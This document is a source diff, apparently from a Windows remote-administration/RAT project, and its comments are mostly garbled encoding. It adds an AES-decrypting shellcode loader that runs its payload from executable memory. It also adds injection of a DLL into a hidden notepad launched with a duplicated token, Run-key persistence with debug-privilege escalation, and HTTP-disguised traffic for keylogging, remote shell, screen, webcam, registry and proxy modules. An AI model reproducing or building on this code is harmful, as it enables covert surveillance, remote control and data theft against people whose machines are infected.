// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
class ActivityWindow {
public:
@@ -91,6 +91,36 @@ private:
}
};
struct RttEstimator {
double srtt = 0.0; // ƽ<><C6BD> RTT (<28><>)
double rttvar = 0.0; // RTT <20><><EFBFBD><EFBFBD> (<28><>)
double rto = 0.0; // <20><>ʱʱ<CAB1><CAB1> (<28><>)
bool initialized = false;
void update_from_sample(double rtt_ms) {
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
// ת<><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
}
else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С RTO<54><4F>RFC 6298 <20>Ƽ<EFBFBD> 1 <20>
if (rto < 1.0) rto = 1.0;
}
};
class CKernelManager : public CManager
{
public:
@@ -107,7 +137,7 @@ public:
UINT GetAvailableIndex();
State& g_bExit; // Hide base class variable
MasterSettings m_settings;
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
RttEstimator m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int SendHeartbeat() {
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
@@ -122,7 +152,7 @@ public:
ActivityWindow checker;
auto s = checker.Check();
Heartbeat a(s, m_nNetPing);
Heartbeat a(s, m_nNetPing.srtt);
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);

View File

@@ -77,8 +77,8 @@ int CKeyboardManager1::sendStartKeyBoard()
BYTE bToken[2];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}

View File

@@ -13,7 +13,8 @@
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
m_ClientObject->Send2Server((char*)&bToken, 1);
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
}
CRegisterManager::~CRegisterManager()

161
client/SCLoader.vcxproj Normal file
View File

@@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{f33fc38a-e7a0-47d1-9f35-6dfe49c7194a}</ProjectGuid>
<RootNamespace>SCLoader</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Configuration)\loader</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Configuration)\loader</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\aes.c" />
<ClCompile Include="SimpleSCLoader.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="SimpleSCLoader.c">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\common\aes.c">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\aes.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -205,8 +205,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
This->SendFirstScreen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
@@ -234,6 +232,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (1000./s0>1.0)
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
@@ -243,6 +242,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (1000./s0<20.0)
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
@@ -268,7 +268,8 @@ VOID CScreenManager::SendBitMapInfo()
szBuffer[0] = TOKEN_BITMAPINFO;
//<2F><><EFBFBD>ォbmpλͼ<CEBB><EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, ulLength, &mask);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}

View File

@@ -25,8 +25,8 @@ VOID CServicesManager::SendServicesList()
LPBYTE szBuffer = GetServicesList();
if (szBuffer == NULL)
return;
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
}

View File

@@ -96,8 +96,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
m_hShellThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->Send2Server((char*)&bToken, 1);
BYTE bToken = TOKEN_SHELL_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();

View File

@@ -16,12 +16,19 @@ class ShellcodeInj
{
public:
// Return the process id if inject succeed.
int InjectProcess(const char* processName = nullptr) {
int InjectProcess(const char* processName = nullptr, bool hasPermission=false) {
if (processName) {
auto pid = GetProcessIdByName(processName);
if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false)
return pid;
}
if (hasPermission) {
auto pid = LaunchNotepadWithCurrentToken();
if (pid) {
return InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pid : 0;
}
}
PROCESS_INFORMATION pi = {};
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
@@ -34,6 +41,49 @@ public:
return 0;
}
private:
DWORD LaunchNotepadWithCurrentToken() {
HANDLE hToken = NULL;
// <20>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD> token
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
&hToken)) {
Mprintf("OpenProcessToken failed: %d\n", GetLastError());
return 0;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> token
HANDLE hNewToken = NULL;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
Mprintf("DuplicateTokenEx failed: %d\n", GetLastError());
CloseHandle(hToken);
return 0;
}
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {};
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
// ʹ<>ø<EFBFBD><C3B8>ƺ<EFBFBD><C6BA><EFBFBD> token <20><><EFBFBD><EFBFBD> notepad
if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe",
NULL, 0, NULL, NULL, &si, &pi)) {
Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hNewToken);
return 0;
}
DWORD dwProcessId = pi.dwProcessId;
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hToken);
CloseHandle(hNewToken);
return dwProcessId; // <20><><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD> ID
}
// Find process id by name.
DWORD GetProcessIdByName(const std::string& procName) {
DWORD pid = 0;

32
client/SimpleSCLoader.c Normal file
View File

@@ -0,0 +1,32 @@
#include <windows.h>
#include <stdio.h>
#include "../common/aes.h"
struct
{
unsigned char aes_key[16];
unsigned char aes_iv[16];
unsigned char data[4*1024*1024];
int len;
} sc = { "Hello, World!" };
// A simple shell code loader.
// Copy left (c) yuanyuanxiang.
int main() {
if (!sc.data[0] || !sc.len)
return -1;
for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); printf("\n\n");
for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); printf("\n\n");
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec) {
memcpy(exec, sc.data, sc.len);
((void(*)())exec)();
Sleep(INFINITE);
}
return 0;
}

View File

@@ -10,13 +10,9 @@
#define USING_ZLIB 0
#if !USING_ZLIB
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
#define USING_LZ4 0
#if !USING_LZ4
#define USING_ZSTD 1
#define USING_CTX 1
#endif
#endif

View File

@@ -38,8 +38,9 @@ VOID CSystemManager::SendProcessList()
{
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return;
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
return;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
szBuffer = NULL;
@@ -50,8 +51,8 @@ void CSystemManager::SendWindowsList()
LPBYTE szBuffer = GetWindowsList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer == NULL)
return;
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
}

View File

@@ -26,8 +26,9 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
m_hInstance = HINSTANCE(user);
g_Event = 0;
memset(g_Buffer, 0, sizeof(g_Buffer));
BYTE bToken = TOKEN_TALK_START;
m_ClientObject->Send2Server((char*)&bToken, 1);
BYTE bToken = TOKEN_TALK_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
}

View File

@@ -159,6 +159,7 @@
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="auto_start.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" />
</ItemGroup>

View File

@@ -43,8 +43,6 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
This->WaitForDialogOpen();
#if USING_ZLIB
const int fps = 8;// ֡<><D6A1>
#elif USING_LZ4
const int fps = 8;// ֡<><D6A1>
#else
const int fps = 8;// ֡<><D6A1>
#endif
@@ -103,7 +101,8 @@ void CVideoManager::SendBitMapInfor()
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
}
BOOL CVideoManager::SendNextScreen()

64
client/auto_start.h Normal file
View File

@@ -0,0 +1,64 @@
#pragma once
#include <windows.h>
// <20><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
inline int DebugPrivilege()
{
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return -1;
// <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD>ռ<D5BC><E4A3AC><EFBFBD><EFBFBD> 3 <20><> LUID
TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES));
if (!tp) { CloseHandle(hToken); return 1; }
tp->PrivilegeCount = 3;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) { free(tp); CloseHandle(hToken); return 2; }
tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) { free(tp); CloseHandle(hToken); return 3; }
tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) { free(tp); CloseHandle(hToken); return 4; }
tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL);
free(tp);
CloseHandle(hToken);
return 0;
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
inline BOOL SetSelfStart(const char* sPath, const char* sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if (lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}

View File

@@ -172,6 +172,7 @@
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
@@ -206,9 +207,11 @@
<ItemGroup>
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" />

View File

@@ -18,7 +18,8 @@ CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager
m_nSend = 0;
Threads = 0;
BYTE cmd = COMMAND_PROXY;
Send(&cmd, 1);
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
pClient->Send2Server((char*)&cmd, 1, &mask);
Mprintf("CProxyManager create: %p\n", this);
}
@@ -43,13 +44,6 @@ CProxyManager::~CProxyManager()
Mprintf("CProxyManager destroy: %p\n", this);
}
int CProxyManager::Send(LPBYTE lpData, UINT nSize)
{
if (!m_bUse) return 0;
int ret = CManager::Send(lpData, nSize);
return ret;
}
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
{
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;

View File

@@ -9,7 +9,6 @@ public:
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
virtual ~CProxyManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
int Send(LPBYTE lpData, UINT nSize);
void Disconnect(DWORD index);
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
static DWORD __stdcall SocksThread(LPVOID lparam);

View File

@@ -6,10 +6,12 @@
#include <common/commands.h>
#include "common/dllRunner.h"
#include <common/iniFile.h>
#include "auto_start.h"
#pragma comment(lib, "ws2_32.lib")
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
#define REG_NAME "ClientDemo"
typedef void (*StopRun)();
@@ -32,60 +34,6 @@ HANDLE hEvent = NULL;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
{
HANDLE hToken = NULL;
//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
if( hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
